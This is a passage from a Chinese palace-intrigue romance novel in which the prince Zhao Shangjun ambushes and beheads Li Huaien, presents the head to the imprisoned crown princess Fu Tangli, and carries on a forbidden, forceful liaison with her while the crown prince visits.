然而,他的话没有说完,赵上钧已经顺势拔出了他腰间的佩刀,挥臂横扫,如同风火雷电,一刀斩下。 周遭的雨水倏然 变红,“哗啦”一下洒开。 一个头颅掉了下来,弹了几下,金吾卫士兵仰天倒下,“噗通”一声,砸在雨地里。 赵上钧摇晃了一下,跪倒下来,以刀拄地,勉强支撑着身体,方才那番举动仿佛已经耗尽了他残余的生机,此刻,他脸上的潮红褪得一干二净,呈现出一种如同死人般的惨白,但他的眼睛亮得惊人,浓郁的血色,如同烈焰燃烧,声音暗哑而凶狠:“不过一死,有什么怕的,放马过来,我和你们一起死!” 众金吾卫皆大惊,一声呐喊,齐齐冲上前,几人同时出手,长戟挟带厉风,同时朝赵上钧疾刺而来。 “五郎!”赵上宣嘶声叫喊。 赵上钧就地一滚,避开锋芒,几柄长戟“锵”地刺在地上,青砖裂开了细缝。 一击不中,金吾卫迅速调整方向,有人已经拔出了佩刀,朝赵上钧当头劈下。 赵上钧一个鲤鱼打挺,抬身扬臂,举刀架住对方的攻势,刀锋交错而过,闪出一长溜火星,溅在雨中。 他的身体已经完全麻木,只有心脏突突地跳动着,越来越急促,马上就要冲破胸腔,雨水泼打着他的脸,模糊了他的视线,天与地都在旋转,分不清是非由来,连神志都开始混乱起来,耳边只听见了大兄焦急的呼唤和士兵们凌乱的怒骂。 死就死,一起死罢了,有甚紧要? 他拼着最后一口气,凭借着强悍的本能,倏然一声大喝,一跃而起,挥刀斩出,带起风声历历。 “咔嗒”一声,他的手腕被人抓住了,轻而易举的,如同捏住一只小鸡仔,那人手掌宽大而有力,一收、一掼,“嘭”的一下,利索地将赵上钧按在了地上,佩刀“咣当”掉了下来。 赵上钧仰面朝天,倒在淋漓的雨水中,他已经快要晕厥了,强行睁大了眼睛,用模糊的目光看着上方。 那个男人已经不年轻了,他的眉头和眼角有着深刻的皱纹,但他的容貌如此英俊而锐利,他的身形如此高大而魁梧,高贵如同天神,他站在那里,没有撑伞,只披了一件黑色的大氅,雨水落下,丝毫无损他的英武,只觉得一片肃杀。 “陛下!”在场诸人皆跪倒下来。 第62章 第62章嘴唇被他咬出樱桃色,疼…… 赵上宣匍匐几步,扑了过来,伏在章武帝脚下,不住磕头:“父皇,求您救救五郎,他病了,病得很重,儿臣等了好几天,也叫不来一个太医,父皇,求您救救他!” “这就是五郎?他病得很重吗?”章武帝挑了挑眉毛,这是他第一次看见这个儿子,他将目光落定在赵上钧的脸上,试图找出一点和自己相似的地方。 但很可惜,显然这个孩子更像他的母亲。 章武帝“哼”了一声。 赵上宣一向畏惧这个父皇,今天若不是形势紧急,他万万不敢到此来冒犯,此时听得章武帝发话,慌乱地将赵上钧抱住,用手臂护着赵上钧,朝章武帝惶恐地禀道:“五郎确实病重,发热数日不曾退,只是性子过分倔强,才和卫兵起了争执,都怪儿臣教导无方,父皇尽管降罪儿臣,儿臣甘愿受一切责罚,只求父皇不要责怪五郎,他还小,不懂事。” 赵上钧干裂的嘴唇动了动,已经没有力气发出声音了。 左右内侍急急过来,为章武帝撑起黄伞盖。 章武帝俯视着他的长子和幼子,目光深沉:“五郎身手不错,谁教的?” 赵上宣犹豫了一下。 “朕在问你,晋王,你听见了吗?”章武帝的声音是冰冷的。 “是。”赵上宣不敢隐瞒,战战兢兢地道,“在晋王府时,郭元俭将军尝有往来,见五郎而心喜,授之以武艺。” 章武帝勾起嘴角,露出一个倨傲的笑意,淡淡地道:“郭元俭老矣,不堪为皇子师,传朕旨意,命庄晟与李光达来,教导五郎。” 庄晟与李光达,一为辅国大将军、一为临洮郡公,早年曾追随章武帝征伐四方,是章武帝的左右臂膀。 王太监听得心惊,知道这风向变了,立即躬身应诺:“是。” 广德殿内突然暴发出一阵凄厉的哭声。 一个太监跌跌撞撞地跑了出来,朝章武帝跪下,俯首悲泣:“陛下、陛下,韩王……去了。” 在场众人皆不敢抬头。 但章武帝没有任何反应,他甚至没有显示出一丝悲伤的神色,他只是站在那里,甚至没有打算转身进去看一眼。 他还在看着赵上钧。 他有五个儿子,长子至四子皆封亲王位,唯有五子,从未见面,也不曾册封。 这个孩子,生而不祥,克死手足,他原本是不喜的,但及至今日见了才知道,或许这是将星临世,金刃之气能冲云霄,命薄之人不能承受罢了。 赵上钧躺在长兄的怀里,倔强地仰起脸,迎着章武帝的审视,他眼眸中的血色尚未消退,那是他全身上下唯一还具有生机的地方,凶悍的、骄傲的、带着剑锋一般锐利的煞气,如同一只濒死的幼兽,依旧咧嘴露出他的獠牙。 很少有人能和章武帝这样直接对视,章武帝笑了一下。 他的第四个儿子刚刚死了,但是,那有什么要紧呢,那本来就是一个不中用的孩子,很多年了,他一直希望能有一个如他当年一样的继承人,眼下,似乎有了点眉目。 章武帝点了点头,指了指赵上钧,顾左右而曰:“此子类朕,甚佳。” 左右震惊,但皆跪伏于地,不敢应声。 赵上宣有点不敢相信,颤声道:“父皇能命太医过来看看五郎吗?” 章武帝拂袖离去,漫不经心地叫了一声:“王胜。” “是、是、是。”王太监忙不迭地应着,赶紧对左右喝道,“还愣着作什么,没眼力见的家伙,五皇子病得这么重,怎么能叫他淋雨?快、快、拿伞过来,把步辇拉过来,护送晋王和五皇子回长兴宫,马上多叫几个太医跟过去瞧瞧,可不能马虎了。” 宫人们飞奔而来。 赵上宣大喜,他松了一口气,僵直的肩膀坍塌下来,差点要一头栽倒,但他勉强支撑住了,颤抖着,紧紧地抱住赵上钧,轻声抚慰着:“好了,没事了,五郎,别怕,你看,有大兄在,大兄会保护你,你什么都不用担心。” 赵上钧的视线一片模糊,仰着头,雨水滴下来,落在他的脸上,带着血腥的余温。 那是大兄额头上的血。 “嗯,有大兄在就好……”他喃喃地这么说着。 那一年的雨下得太大了,好似永远也不会停住,天河之水倾泻而下,覆盖九重宫阙,青砖、朱墙、琉璃瓦,在暴雨中逐次隐没,什么都模糊了。 不可追思。 …… 赵上钧停住脚步,抬头望向远方。 和许多年前一般无二,檐角勾连,重楼叠影,脊兽朝于天,金墀与玉阶森然交错,然而此时大雨滂沱,足以洗去一切旧痕迹,宫城之上是无尽苍穹,万物皆在风雨中。 不必追思。 他低下头,摊开手,急促地喘息着,鲜血从口中喷涌而出,落在手上,聚成一汪,很快被雨水冲淡,再从指缝间淌下,他看着手上的血,好似很轻地笑了一下,缓缓阖上 眼睛,仰面倒下。 …… 元延七年,春,大雨。 淮王自北庭归,沉疴难愈,自请交帅印、卸兵权,挂冠归隐,帝允。淮王出紫宸殿,于宫门外口吐鲜血,当场昏迷。 俄而有道人至,自言为淮王师,见状长叹而泪下,携淮王返,归去山中道观。 此事出,朝野震惊,众说纷纭,或曰淮王杀戮太重,有干天和,此命里劫数,恐寿不永也,令人唏嘘。 镇军大将军庄敬因淮王一事诽谤朝政,触怒天颜,贬为监门卫胄曹参军。同日,元延帝下旨,将玄甲军拆分左中右三营,左营派往安西都护府驻守边关,右营派往辽东,中营人马与南衙禁军轮换,并更名为虎贲军,至此,玄甲军分崩四散,朝堂上再无人提及淮王。 这边且不说京中风云变幻,远至疆域西北,亦平地生出波澜来。 怀州因洪涝损失惨重,当地官员焦头烂额忙于赈灾,然仓促间难免有疏漏处,使民间多有饿死者,怀州百姓生怨,聚众冲入县衙,抢了官粮自行瓜分。 怀州刺史急急调遣官兵抓拿恶民,杀其为首者以示众,这一来一去,事情越演越烈,不多时,就有人揭竿而起,百姓纷纷呼应,纠集数万众,自称义兵,替天行道,公然持械攻打州府。 随后,齐州亦然。两地义兵合纵,又聚集四方流匪,渐至声势浩大。 变故一桩接着一桩,叫元延帝措手不及。 怀州与齐州两地报朝廷,请发兵平乱,元延帝未知此时何人适宜,询遍朝中诸臣,或有推荐者,皆不当圣意。因淮王之事,眼下朝中武将各怀心思,此动荡之际,元延帝心中疑虑重重,不敢轻易交付兵权,只命郭元俭率金吾卫兵马加强长安戒备,余者再议。 怀州与齐州邻近范阳,两地刺史见朝廷未能立断,当下求助于范阳,范阳节度使李颜因此挥师南下,待消息传到长安,李颜已与义兵交战,佳报频传,形势大好,元延帝思量再三,不予追究,听之任之去。 这一年的雨下得太大了,注定世事皆在飘摇中。 —————————— 黄昏迟迟,暮色四合,日将尽,天气潮湿,大雨将至未至,覆在屋檐上,乌压压的。 有使者自西北来,送了一封密信。 临川公主进屋的时候,恰好看见李怀恩点燃蜡烛将信笺烧掉,他的脸色十分难看,阴沉如同外面的天色,临川公主心里“咯噔”了一下。 李怀恩对临川公主视若无睹,旋即命人备马,自顾自匆匆收拾了行装,当下就要出远门的情形。 临川公主手里捧着那件新做的长袍,眼巴巴地在那里等了片刻,见李怀恩不理她,有些不知所措,小小声地道:“我想着你今年还没换过春裳,新给你做了件,你试试看,可还合身?” 李怀恩不过随意瞥了一眼,漠然道:“知道了,搁那吧。” 他口中说着,脚步未停,携了行装,径直出门而去。 临川公主怔怔地立在那里,她是个胆小而懦弱的人,心里隐约觉得自己大约是被抛弃了,又不太敢相信,只有一片茫然之情。 渐渐地,风大了起来,枝条抽打着窗牖,发出“扑簌簌”的声响,听得人心烦。 临川公主叹了一口气,慢吞吞地挪过去,想要把窗子阖上。 李怀恩又回来了,他推门而入,神色烦躁,一把扯过临川公主手里的长袍,不耐地道:“行了,这件衣裳我拿走了,以后,你不用再给我做这些东西了。” 临川公主低了头,眼泪簌簌地掉下来,她不知道发生了什么事,也不知道该做些什么,她甚至连问一声的勇气都没有,半晌,“嗯”了一声。 李怀恩沉默了一下,粗声粗气地道:“我走了,你自己小心着点,我不在身边,你别叫人欺负了去。” 临川公主眼睛红红的,还是“嗯”了一声。 “我若能回来,一定会来接你,保你此生尊享荣华。”李怀恩顿了一下,咬了咬牙,恨恨地道,“你是赵氏的女儿,他们应该不会为难你,我若回不来,你就忘了我,再找个好人家嫁了吧。” 临川公主使劲摇头,眼泪流得更急了。 李怀恩“啧”了一声,怒道:“别哭了,最烦你这样。” 他说完,返身就走了,没有再回头多看一眼。 天色已经开始暗了下来,街坊上渐次亮起了灯,李怀恩匆匆驱马赶向城门。 早先元延帝利用李怀恩对付孙澄,事成后,立即将李怀恩从左金吾卫大将军之位上撵了下去,只给他当了个驸马都尉的闲职,幸而李怀恩当日已经打点了关系,眼下金吾卫军中还有得用之人,虽然城门已经关闭,在东门处给他偷偷开了一条缝。 当李怀恩带着一干侍卫出了城门时,最后一道暮光隐没。 身后的长安城沉入夜色,繁华渐远,灰蒙蒙的月光落在嶙峋的山外。 从长安往北去,路上杳无人迹,夜色笼罩四野,马蹄“哒哒”,驿道两边的衰草随着风伏倒,有鸱鸮停驻在道边的枯树上,歪着脑袋,盯着下面飞驰而过的一群骑士,发出低低的“咕咕”声,在月光中显得诡异而突兀。 离长安越来越远,眼看着已经过了平乐原,李怀恩松了一口气。 突然却见树上的鸱鸮振翅飞起,“呱”的一声,发出尖锐的啼鸣。 月光太过暗淡,叫人无从察觉,不知何时,前方出现了一大片黑黢黢的影子,如同乌云,沉沉地压在旷野中。 李怀恩怵然勒住了马,他这次仓促出逃,不敢惊动旁人,身边只带了数十名心腹侍卫,个个都是部族中的精锐勇士,这些人见此情形,呼喝了一声,马上围在李怀恩的身边,纷纷抽出了刀。 但这似乎并没有什么用处。 高大的战马覆盖着铁甲,精壮的骑兵持着锋利的长戈,列成严谨的方阵,马蹄的声音沉沉的,如同从地底下发出的鼓点,月光下,兵戈闪动着森冷的光,朝这边缓缓逼近,这是大周最强悍的兵马,玄甲军。 领头那武将,大氅猩红如血,铠甲玄黑如漆,身形高硕似山岳,面目俊美似天人,除了淮王,还会是谁? 玄甲军已被元延帝遣散,缘何会在此地出现? 李怀恩出了一袭冷汗,瞬间湿透了后背,原以为自己使了一招金蝉脱壳,未曾料到却是飞蛾扑火,或许,从头到尾,这一切都在淮王的掌握之中吗? 他心念急转,按捺住手下,主动迎上前去,也不废话,直接抱拳求饶:“怀恩给殿下请罪,先前对殿下种种无状,皆受圣命所使,非我之本意,还请殿□□恤。” 赵上钧停住马,面无表情地望着李怀恩,夜色深沉,他的眼眸漆黑如墨,完全看不出任何情绪。 李怀恩手脚发凉,强自镇定,言语愈发恭敬:“我与殿下并无仇怨,殿下今日若能放我一马,待我回到范阳,定会与家父言明,对殿下感恩不尽。当今天子无能且昏庸,殿下何必为他人做嫁衣裳,家父与殿下同为英豪,来日携手并进,可共谋天下,岂不美哉?” 这时候的风吹散了乌云,苍白的月光落在赵上钧的脸上,他露出了一个飘忽的笑意:“说完了?” 李怀恩心头一紧,偷偷抬手摸向刀柄。 “那就上路吧。”赵上钧语气淡漠,略微一抬手。 “锵”的一声起,列在前阵的玄甲军骑兵亮出了手里的弓弩,长长的箭矢搭在弓弦上,指向李怀恩。 弓臂粗长,通体漆黑,棱角分明,箭镞如长锥,在夜色里泛着不祥的寒光。 李怀恩瞳孔一震,脱口而出:“破甲弩!” 赵上钧骑在马上,占在上风处,几乎是俯视着李怀恩,目光冰冷:“你当日将破甲弩运出长安时,可曾想到会有今日?” 李怀恩心头巨震,情知难免,奋力拨马后退,厉声吼叫:“给我拦住他们!” 手下死士发出呐喊,挥舞着大刀,冲上前来。 螂臂当 车而已。 破甲弩的弓弦“嗡嗡”地振动着,箭矢如雨,在空气中呼啸而过,力道之硬,能破铁甲,何况血肉之躯。 箭矢穿透身体的声音,就像蓄满水的羊皮袋子被扎破,“噗嗤噗嗤”的,血水飞溅起来,人的惨叫和马的嘶鸣交错在一起,在黑暗的旷野中回荡。 良久方息。 李怀恩比他的属下多跑了几步,连人带马钉死在驿道边,仰面朝天,被箭矢戳得稀烂,身上的窟窿还在呼呼地冒着血。 玄甲军武士打马过去,一刀将李怀恩的头颅砍了下来,他思及淮王好洁净,还特意扯下尸首的一截衣裳,把这个头颅上的污血擦得干干净净的,再用木匣子装好,恭恭敬敬地捧到赵上钧面前:“殿下。” 赵上钧接过木匣子,在手上掂了掂,用冷漠的目光扫了一眼李怀恩无头的尸身,淡淡地道:“上回给李颜送了个头,这回把身子给他送过去吧,好歹凑齐一个儿子,免得叫他伤心。” 属下应喏,自去处置不提。 晚来疾风,将旷野中的血腥吹散,食腐的鸱鸮扑棱棱地飞过来,降落在尸首上。 赵上钧抬头看了看北面的天色,春雨连潮,月光微弱,夜幕无尽深沉。他喟然长叹,低声自语:“时候差不多了吧,我等得已经够久了。” 属下的玄甲军显然听到了这句话,他们依旧肃穆而沉静,保持着森严的阵列,长戈在手,劲弩在侧,煞气直干云霄。 —————————— 外头的风有点大,掠过宫城的高墙,呜呜咽咽的,好似白头的宫人在栏杆下哀哀悲泣。 这里是长阳宫,历代有妃嫔犯事者,皆被囚禁于此,大多磋磨至死,时日久了,自然带着一股说不出的阴森气。 那日紫宸殿上,林贵妃当众说了那些话,直指太子妃不贞,固然赵元嘉一力担保,但元延帝仍然不能完全消除疑心,下旨将太子妃关押于此,听候发落。 既来之则安之,傅棠梨倒是心平气和,只这长阳宫过于冷清,宫门外把守森严,奴仆侍婢皆不得进,独她一人在此,未免无趣,此时入夜,隔着旧屏风,孤灯如豆,似白露将晞,她借着这一点淡淡的烛光,卸去钗环,松开发髻,褪下外裳,打算早早就寝。 四下无人,静悄悄的,窗外突然传来“叩叩”两声。 傅棠梨正在解衣的手僵住了,回头张望了一下。 烛光摇曳,忽明忽暗。 “吱呀”一声,有人推开了窗。 傅棠梨的心跳得很乱,她急急把半褪的衣裳掩好。 那个男人已经从窗外翻了进来,干脆利索,如同暗夜里迅猛的猎豹,落地时几乎是无声的。 傅棠梨后退了两步,用谨慎的目光看着他。 这一夜的月色如同弥漫的白雾,从窗户的缝隙流淌进来,淹没了烛火的微光,男人是如此高大,他的身影落下来,覆盖了傅棠梨,显露出如同山岳般的压迫感,因为逆着光,她有点分辨不出他的神情,只觉得这面容既熟悉又陌生,叫她有些无所适从。 但她很快就冷静下来,敛了衣裳,屈膝行礼,举止如平常,优雅而从容:“当日闻皇叔重伤垂危,太子尝与儿提及,忧思不已,如今既见皇叔,应无恙,太子庶可安心矣。” “太子忧思?”赵上钧冷冷地“嗤”了一声,“那太子妃呢?可曾为我担心过?” 傅棠梨迟疑了一下,轻声回道:“……儿不敢。” 不敢,这是一个很微妙的词。 赵上钧显然并不满意,他逼近了一步,他的声音沉沉的:“为什么不敢?” 傅棠梨拒绝回答这个话题,她侧过脸,避开他灼灼的目光:“禁廷深夜,诸事不宜,皇叔所为何来?若无十万火急,还请皇叔速速离去,勿使儿为难。” 赵上钧好似笑了一下,很低的声音:“我来给你送一份礼。” 傅棠梨这才发现他手里还提着一个方形的布包,她本能地觉得有些不对劲,推脱道:“无功不受禄,当不起皇叔的礼,您请回。” 赵上钧对傅棠梨的话恍若未闻,他将布包放在床前案几上,解开包裹的绸布,露出里面一个木匣子,高度半尺有余,方方正正,普普通通,他指了指木匣子,语气俨然不容违逆:“来,打开看看。” 看样子他是不肯善罢甘休的。 傅棠梨犹豫片刻,走过去,慢慢打开了木匣子。 “!”她倒抽一口冷气,仓促间,惊恐地用手捂住了嘴,压下差点脱口而出的尖叫。 匣子里端端正正地摆着一个头颅,那是个胡族男子,褐发高鼻,络腮胡子,脑袋上破了好几个洞,骨肉凹陷,大约是为了防止腐臭,那上面撒满了石灰,看过去白惨惨的一团,如同厉鬼。 傅棠梨捂着嘴,“噔噔噔”倒退了几步,双腿发软,跌坐在床上:“这、这……这是什么东西?” 赵上钧伸过手,“咔嗒”一声,把木匣子阖上了,他甚至还笑了一下,轻描淡写地问道:“虽然这样礼物有些特别,但确实是我花了大心思为你备下的,你不必惊慌。” 傅棠梨手脚发凉,深深地吸了好几口气,才稍微缓过神来,她眼角有些发红,咬着牙,说话的声音也有些颤抖:“你这样吓唬我有什么意思呢?” “他是李怀恩,在北祁山春猎时,曾放纵恶豹行凶,试图杀你,我当日允诺,叫他拿人头来偿你,如今人头取到,当成一份礼物送你,看来你不太欢喜,但须知我言出必践。”赵上钧看着傅棠梨,他的目光深沉,声音又轻又慢,“梨花,欺负你的人,都不配活在这世间。” 傅棠梨想起了当日在紫宸殿上掉了脑袋的林贵妃,又看看眼前这个木匣子,顿时生出一股毛骨悚然之感,不着痕迹地后退了一点,客客气气地道:“那可真是多谢您了,但我实在一点儿都记不起这个人,您委实没必要给我送这份大礼,我消受不起。” 赵上钧屈起手指,敲了敲木匣,“哒哒”两声,在沉寂的宫殿中显得格外突兀,他的声音近乎温柔:“你是我至亲至爱之人,何必与我这般生疏?” 这“至亲至爱”之语一出,顿时让傅棠梨想起了在永寿镇颠倒狂乱的诸般情形,她不由心跳如擂鼓,面热如火烧,恨不得一头晕过去,颤声道:“事到如今,你还要试图愚弄我吗?你别说了,你说的话,我一个字都不会再相信。” 赵上钧目中精光一闪,露出了愉悦的表情,慢条斯理地道:“我虽骗了你,但在紫宸殿上,我亦救了你一命,难道不能算将功赎过吗?” 傅棠梨恨恨的:“你这罪魁祸首,若不是因着你的缘故,我怎么会担上那不伦的骂名,又怎么会陷入今日这般尴尬境地?福生无量天尊,你可千万别和我提什么功劳,我只求你千万远着我,莫再连累我受罪,我就感激不尽了。” 当时在永寿别离,什么话都没有说出口,众目睽睽之下,不及,也不宜,及至此刻,终究是忍不住,掩藏在心底的情绪重新翻滚上来,她一时失口,赌气说了这番话,转念又觉得不太妥当,好似撒娇的抱 怨似的,她面色更红,咬了咬嘴唇,把脸撇开了。 嘴唇潮湿而鲜嫩,被她咬出了一点樱桃颜色。 赵上钧的喉结剧烈地滚动了一下,声音愈发轻柔:“我一心一意为你着想,而你却不信我,梨花,你果然还是同从前一般,对我过于薄情。” “我何尝有什么薄情之举,你这骗子,莫要哄我。”傅棠梨自然是不认的。 “其实我并没有骗你,是你性子急,当着那么人多的面,说走就走了,叫我无从解释。”赵上钧叹息,“从前我们两情相悦,是赵元嘉仗着太子的身份,夺我所爱,你就他而舍我,令我肝肠寸断,怎不是薄情?” 他的眼眸在微弱的烛火下显得极黑,如同夜色深沉,他望着她,如同在那日庭院的樱桃树下,目光温存:“梨花,我没有骗你,你本来就应该是我的妻子,我们之间情深意浓,你的脑子可以忘记从前,但你的心不会忘记的,不是吗?” 傅棠梨的心剧烈地跳了一下,莫名地有些发疼。 她低下头,沉默良久,叹了一口气,低低地道:“无论从前如何,你若视我为至亲至爱,你就不该骗我,当日那般情形,也不知你是何居心,我六神无主,恰逢咸阳令至,若不随他走,只怕再难有机会,我……我只能走了。” 她说到这里,抬起眼,愤愤地瞥他一下,嘟囔着,对此事下了定论:“总之,还是你不好,你骗我!” 赵上钧兀然欺身而上,吻了上去,堵住了她所有的声音。 “呜呜……”傅棠梨挣扎起来,但哪里挣得脱,无非像是一只小麻雀,软软的一团,在他手心里扑腾了两下。 这个男人吻得太深了,如同过往的每一天,辗转啃咬,舌尖缠绕,她的呼吸满满地被他占据,喘不过气来。 长久的、急切的吻,让傅棠梨差点窒息。 他抚摸她,那么熟悉的感觉,强硬而霸道。炎热的夏季,夜里蝉鸣,声嘶力竭,叫人胆战心惊。 “你的心太狠,就那样抛下我,回东宫去了,为什么?赵元嘉,他比我好吗?那不可能!”他的呼吸很沉,说得也很慢,一个字一个字的,像是从牙缝中挤出来,压抑着、却压抑不住,“我这几天一直在想,他怎么做?你和他在一起,就像和我在一起……一样吗,梨花,告诉我,一样吗?” 他说话时的气息是那么滚热,几乎把她的嘴唇烫伤。 傅棠梨羞得脸颊冒烟,不管不顾,使劲踹他、打他:“不是、没有、胡说!” 夜幕下,不知名的虫子爬过去,留下厚重的痕迹,有时候甚至会狠狠咬她一口,肌肤生疼。 可是,再也发不出任何声音,他又吻住她,滚在榻上,如同抵死的缠绵,夺走她的呼吸。 这是不对的,不应该的,他不过是个骗子罢了,在这四下无人的暗室,她这样对自己说,羞耻得几乎掉下眼泪,她的手指发抖,抓住他,不知道是推搡,还是纠缠。 …… 窗外突然传来了两声清脆的鸟鸣,在这静寂的长阳宫里,显得尖锐而突兀。 赵上钧稍微停顿,回眸望了一眼,他的眼眸中带着浓郁的猩红颜色,如同暴戾的、淬血的剑锋。 傅棠梨的身体止不住地在发颤,眼眸迷离,如蒙烟雨,虚弱地喘息着。 鸟鸣之声再起,短而急促。 几乎是同时,宫人的通禀之声传来,拖得长长的:“太子殿下到。” 这下真是猝不及防,傅棠梨心头巨震,三魂七魄都要飞上了天,猛地回神,仓皇四顾。 赵上钧还压在她身上,他的手还放在不该放的地方。 而她衣裙凌乱,满面潮红。 外面的灯火逐渐亮起,纷沓的脚步声由远及近。 傅棠梨情急之下,来不及多做思索,使劲一拽,拉着赵上钧往床榻里面一滚,“刷”的一下,抖开锦被,把两个人一起盖住。 因着这么一番动作,他的手倏然抽离。 她又抖了一下。 转眼间,脚步声已经来到房门外。 傅棠梨的额头冒出了大汗。 房门被叩响,轻轻两声,含蓄有礼,赵元嘉的声音带着显而易见的欢喜:“二娘,孤来看望你了。” 傅棠梨呼吸紊乱,口中勉强应道:“夜深了,我已经歇下了,太子还是明日再来吧。”,同时手里不停,飞快去扯帐钩。 “二娘何忍拒孤于门外?”赵元嘉带着一点点抱怨的语气,已经推开门,走了进来,“孤给你带了一件新奇的玩意儿,顺便和你说两句话,就一会儿工夫,不很吵你。” “叮”的一声轻响,错金莲花帐钩掉在床沿,幔纱落下,堪堪遮住帐中的情形,朦朦胧胧的,叫外头的人瞧不真切。 两排宫人在后面鱼贯而入,挑着明角宫灯,把宫舍照得一片通明。 傅棠梨慌里慌张地翻了一个身,背对着外面,把锦被拉高,掩住赵上钧,这床榻本来宽敞,凭空多了这么大个头的男人,就显得拥挤起来,她蜷成一团,和他紧紧贴在一起,男人的身体很热,热得发烫,在这薄凉的春夜里,叫她浑身大汗淋漓。 她的腰还是软的,更直不起来了。 赵元嘉的脚步声走到了床前。 第63章 第63章隔门,偷欢 她强忍着心悸,隔着床帐,冷淡地道:“这么些天你都不见人,这会儿大晚上过来作甚,怪没诚意。” 赵元嘉急急为自己解释:“父皇前几天在气头上,孤也不好开口,就今儿晚上过去,托了皇祖母的情面,才求得父皇开恩,准孤来长阳宫走一遭,其实这些日子,孤也着急得很。” 傅棠梨无暇说话,此时,赵上钧就躺在她的身边,他的味道气势汹汹地将她包裹住,烈日暴晒,白梅花在雪中融化,绝壁上生长的乌木肆意焚烧,干燥的香气,带着隐约的苦调,汹涌而来,沾满了她的发丝和肌肤,她的心跳得很乱,忽而似疾风呼啸,忽而又似骤雨暴打,她根本分不出心思来说话,只能咬紧牙关。 赵元嘉在床头踱了两步,语气中带着一点讨好的意味,“二娘,你还好吗?孤心里甚是挂念。” 赵上钧微不可及地冷哼了一声,她能感受到他手臂上肌肉爆起,蓄势待发。 傅棠梨吓得一哆嗦,赶紧捂住了他的嘴。 他的嘴唇也是滚烫的。 她的的肩膀缩了一下,有些发抖,随口敷衍着赵元嘉:“没甚好,也没甚不好,一切如常……” 话说到此处,赵上钧忽然咬住了她的手指,他咬得有些用力,那力道,大约像一只饱腹的野兽叼住了弱小的猎物,并不急于把她吃掉,只是含在口里,用牙齿和舌头舔舐着、碾磨着,一点点麻、以及一点点说不出来的疼。 这个男人,这光景下,他在做什么? 傅棠梨倒抽了一口气,试图将手指抽出来。 他咬得更重了,不想放开她,尖利的牙齿透过皮肤,带来那种鲜明的触感,如同透到骨头里。 傅棠梨手指颤抖,声音不稳,支支吾吾地接下去道:“……总之,太子不必担忧,我、我今儿乏了,不和你多说。” “二娘,你先别睡,起来看看,我给你带了解乏的小把戏。”赵元嘉听不出傅棠梨话里推脱的意思,他还是兴致勃勃的,左右张望了一下,把手里捧的一样东西放到床头的案几上。 案几上还摆着一个黑木匣子,他顺手敲了两下,发出“笃笃”的声响,随口问了一句:“哦,二娘,你这是什么东西?” 这是什么东西? 傅棠梨愣了一下,猛地省起,那里面装的是一个人头。 她吓得一激灵,身上的汗水都凉透了,当机立断,重重地踹了赵上钧一脚,使劲挣脱了他,翻身起来,迅速理了一下衣裙,立即下了床,手缩在身后,动 作利索,“噌”的一下,依旧把床幔拉拢,面上带着不悦的神色,对赵元嘉嗔道:“你这人,恁地啰嗦,我的物件,你莫乱动。” 她此时鬓发凌乱,脸颊嫣红,如抹胭脂,眼波扫过赵元嘉,目中含着薄薄的水雾,说话间气息虚浮,瞧起来像是半睡半醒的情态。 赵元嘉往日见她,皆是一副端庄娴雅的模样,此时这般懒散娇怯,真真前所未有之貌,看得他心荡神摇,一时说不出话来,呆了片刻。 傅棠梨随手抓了一件大袄,披在肩上,三步并两步,快快地走到屏风外间去,扶着案几,腿软了一下,顺势坐下了,淡淡地道:“什么稀罕物件,叫太子这般得趣,好吧,拿过来瞧瞧。” 立即有宫人移步上前,挑亮了案上将灭的灯烛。 赵元嘉笑着,亲自把他那样东西端了过来,亦是个木匣子,他殷勤地打开匣子,捧出一样宝光四溢的东西来。 那是一幢精致玲珑的天上宫阙,以琥珀为楼台、珊瑚为高树,柱绕祥云,檐上飞花,山川皆宝石,又以象牙雕成王母与仙人,底座有机括,拨动机括,俄而,仙人绕王母而拜,金玉交鸣,仙乐袅袅。 赵元嘉指着那琥珀宫阙,满脸自得之色:“这是当初皇祖母生辰时,驸马李怀恩所敬献的寿礼,今儿孤去皇祖母处,正好看到,就讨了过来,孤想着,别的东西你不稀罕,就这个,还有几分新奇,拿过来给你解解闷也好。” 这不是巧了吗,他提到的那个人,李怀恩,这会儿正在案头的木匣子里躺着呢。 傅棠梨一念及此,顿觉头皮发麻,下意识地往后避了一下,皱起眉头:“我如今以罪被囚,生死尚不能定论,何用此奢靡之物,不要,快拿走。” 赵元嘉微怔,旋即有些委屈:“孤是怕你一个人在长阳宫无趣,千方百计想讨你欢心,你不领情也就罢了,怎么还生气?” 他一边说着,一边顺势抬手,想要握住傅棠梨的手。 傅棠梨缩回手,扶住额头,露出了一点痛苦的神色:“我……” “你别晕。”赵元嘉的手僵在半道,嘴角抽了一下,他的声音很低,并不愿意被旁人闻及,微微叹一口气,“我知道你装的,二娘,你不用这样骗我。” 傅棠梨一窒,骤然屏住呼吸,慢慢地低下了头。 春夜的空气有点潮湿,蜡烛发出一点“噼啪”的声响,外头又起了风,带着烛光摇曳,映在半旧的绢纱屏风上,晕开的影子斑驳而凌乱。 “当日紫宸殿上那般光景,何等惊心动魄,你尚且应对自如,怎么会被我吓晕呢?”这些话对赵元嘉来说有些难堪,他说得很小声、也很慢,“其实,你只是不喜欢我而已……” 傅棠梨沉默了一下,她心虚起来,又觉得烦躁:“并不是这样,我只是忘了从前的事、忘了你,心中惶恐,不知所措,你别怪我,等过些日子,我记起来了……” “你不用记起来。”赵元嘉忽然大声打断了她的话。 傅棠梨抬起脸来,看了他一眼。 赵元嘉苦笑了一下:“为了林承徽的事情,你对孤十分埋怨,若是想起来了,免不了又要怄气,还不如现在这样。” 他直直地望着傅棠梨,眼中露出哀求的意味:“孤不想瞒你,不如把一切和你说明白了,孤自幼就认得林承徽,她生得美貌,又一心一意讨好孤,孤因此先入为主,觉得必然是要娶她为妻的,先前父皇把你指给孤的时候,孤心怀不满,对你种种冷落,这简直是鬼迷心窍,二娘、二娘,如今孤知道错了。” 太子殿下过于诚恳,以至于傅棠梨尴尬了起来,她咳了两声,干巴巴地安慰道:“无妨,如此说来,是我鸠占鹊巢,妨碍了前人的路,太子既然喜欢林承徽,不如……” “孤想说的,不是这个意思!”赵元嘉情绪激荡,他握住了拳头,声音有些发颤,“那天晚上,你落入渭水时,孤才发现,孤不能没有你,二娘,那时候孤后悔极了,若是你有什么三长两短,孤会恨自己一辈子的!” 傅棠梨听着这乱糟糟的一团,只觉得额角的青筋突突地跳,实在不知该如何应对,她叹了一口气,委婉地道:“我好端端地回来了,说这些晦气话作甚,不提也罢。” 赵元嘉再次缓缓地伸出手来,握住了傅棠梨的指尖,只敢捏住一点点,小心翼翼地试探着,语气低落下去:“二娘,孤是真心认错,你可以原谅孤吗?” 